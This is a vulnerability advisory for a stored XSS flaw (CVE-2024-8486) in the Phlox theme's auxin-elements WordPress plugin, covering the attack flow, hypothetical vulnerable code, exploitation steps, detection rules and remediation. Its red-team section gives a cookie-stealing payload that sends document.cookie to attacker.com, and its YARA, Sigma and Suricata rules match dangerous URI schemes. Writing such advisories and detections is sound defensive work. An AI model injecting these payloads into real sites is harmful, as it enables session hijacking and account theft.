CVE-2024-8486
Executive Summary
CVE-2024-8486 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in the Modern Heading and Icon Picker widgets, where the url parameter is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a compromised page. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available. This vulnerability poses a significant risk to WordPress sites using the Phlox theme, as it can lead to session hijacking, defacement, or malware distribution.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a commercial product by Auxin, and the lack of a patch increases supply chain risk for sites relying on this component.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Contributor-level authentication.
- User Interaction (UI): None (N) – No user action needed for execution.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for widespread exploitation via stored scripts makes this a serious concern for WordPress administrators.
Deep Dive & Mechanics
The vulnerability resides in the auxin-elements plugin, specifically in the Modern Heading and Icon Picker widgets. These widgets allow users to input a URL via the url parameter. The plugin fails to properly sanitize and escape this input before storing it in the database and rendering it on the frontend.
Attack Flow:
- An authenticated user with Contributor-level access creates or edits a page/post.
- The user inserts a Modern Heading or Icon Picker widget and sets the
urlparameter to a malicious JavaScript payload, e.g.,javascript:alert('XSS')or a data URI. - The plugin stores the payload without sanitization.
- When any user (including administrators) visits the page, the payload executes in their browser context.
Root Cause: Insufficient input validation and output escaping. The plugin likely uses esc_url() incorrectly or not at all, allowing dangerous URL schemes like javascript: or data:.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (hypothetical)
$url = $_POST['url'];
echo '<a href="' . $url . '">Link</a>';
A patched version would use proper escaping:
// Patched code (hypothetical)
$url = esc_url($_POST['url'], array('http', 'https'));
echo '<a href="' . esc_url($url) . '">Link</a>';
The esc_url() function in WordPress strips dangerous schemes and encodes special characters. The patched version also restricts allowed protocols to http and https.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Phlox theme and auxin-elements plugin <= 2.16.3.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a Contributor.
- Create a new page or post.
- Add a Modern Heading or Icon Picker widget.
- In the
urlfield, enter:javascript:alert(document.cookie) - Publish the page.
- When any user visits the page, the JavaScript executes.
Advanced Payload:
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team
Detection:
- Monitor for pages/posts created by Contributor-level users containing suspicious
hrefattributes. - Look for
javascript:ordata:schemes in theurlparameter of auxin-elements widgets.
Prevention:
- Disable the auxin-elements plugin until a patch is available.
- Restrict Contributor-level users from using shortcodes or widgets.
- Implement a Web Application Firewall (WAF) rule to block
javascript:anddata:URIs in POST parameters.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/auxin-elements/(presence of vulnerable version) - Database: Rows in
wp_postsorwp_postmetacontainingjavascript:ordata:URIs in widget data. - Network: Outbound requests to attacker-controlled domains from compromised pages.
- Logs: WordPress audit logs showing creation/editing of pages by Contributor users with unusual URL patterns.
Detection Engineering
YARA Rule
rule CVE_2024_8486_Stored_XSS {
meta:
description = "Detects stored XSS payloads in auxin-elements plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-8486"
strings:
$payload1 = "javascript:" ascii wide nocase
$payload2 = "data:" ascii wide nocase
$payload3 = "vbscript:" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-8486 Stored XSS in auxin-elements Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress auxin-elements plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- 'javascript:'
- 'data:'
- 'vbscript:'
condition: selection
falsepositives:
- Legitimate use of data URIs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8486 Stored XSS in auxin-elements"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=auxin_widget_save"; http_client_body; pcre:"/(javascript|data|vbscript):/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and remove any suspicious pages/posts created by Contributor users.
- Change all passwords for Contributor-level accounts.
Long-term Fix:
- Monitor the Auxin plugin repository for an update.
- Apply the patch as soon as it becomes available.
- Implement a Content Security Policy (CSP) to block inline JavaScript.
Workaround:
- Use a WordPress security plugin to block dangerous URL schemes.
- Restrict Contributor roles from using shortcodes via user role editor.
Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.